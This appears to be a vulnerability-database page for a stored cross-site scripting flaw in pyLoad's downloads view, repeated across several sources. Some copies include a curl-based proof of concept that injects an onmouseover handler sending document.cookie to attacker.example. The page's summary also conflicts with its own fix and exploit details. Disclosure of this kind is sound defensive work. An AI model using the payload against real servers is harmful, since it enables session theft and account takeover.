Every CVE Search/ Get API key

CVE-2026-45348

pyLoad: Stored XSS in Downloads view via unsanitized link URL in packages.js template literal

8.7 High

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.20%Up 0.2 points since May 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

pyLoad: Stored XSS in Downloads view via unsanitized link URL in packages.js template literal

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.

Record
CVE-2026-45348
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-32957 8.7

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.

Record
EUVD-2026-32957
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-fcjq-435v-jx94 8.7

pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Summary

The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.

Details

Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:

const html = `
    <span class='child_status'>
      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
    </span>
    <span style='font-size: 16px; font-weight: bold;'>
      <a onclick='return false' href='${link.url}'>${link.name}</a>
    </span><br/>
    <div class='child_secrow' ...>
      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;
      <span class='child_status' ...>${link.format_size}</span>
      <span class='child_status' ...> ${link.plugin}</span>...
    </div>`;

const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);

link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.

Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.

Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

TARGET="http://<pyload-host>:<port>"

# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')

# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common…

Record
GHSA-fcjq-435v-jx94
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 8.7

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers. This vulnerability is fixed in 0.5.0b3.dev100.

Record
CVE-2026-45348
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-fcjq-435v-jx94 8.7

pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Summary

The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.

Details

Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:

const html = `
    <span class='child_status'>
      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
    </span>
    <span style='font-size: 16px; font-weight: bold;'>
      <a onclick='return false' href='${link.url}'>${link.name}</a>
    </span><br/>
    <div class='child_secrow' ...>
      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;
      <span class='child_status' ...>${link.format_size}</span>
      <span class='child_status' ...> ${link.plugin}</span>...
    </div>`;

const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);

link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.

Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.

Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

TARGET="http://<pyload-host>:<port>"

# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')

# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common…

Record
GHSA-fcjq-435v-jx94
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-79
Updated
2026-11-02
OSVPYSEC-2026-2994 8.7

pyLoad is vulnerable to stored XSS in Downloads view via unsanitized link URL in packages.js template literal

Summary

The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.

Details

Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:

const html = `
    <span class='child_status'>
      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
    </span>
    <span style='font-size: 16px; font-weight: bold;'>
      <a onclick='return false' href='${link.url}'>${link.name}</a>
    </span><br/>
    <div class='child_secrow' ...>
      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;
      <span class='child_status' ...>${link.format_size}</span>
      <span class='child_status' ...> ${link.plugin}</span>...
    </div>`;

const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);

link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.

Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder name, not the link URL itself.

Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

TARGET="http://<pyload-host>:<port>"

# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')

# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common…

Record
PYSEC-2026-2994
CVSS 3.1
8.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyload-ng
PyPI
through 0.5.0b3.dev99 None known
pyload-ng
PyPI
through 0.5.0b3.dev99, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45348 is a high vulnerability (CVSS 8.7) in Pyload, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: 53 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open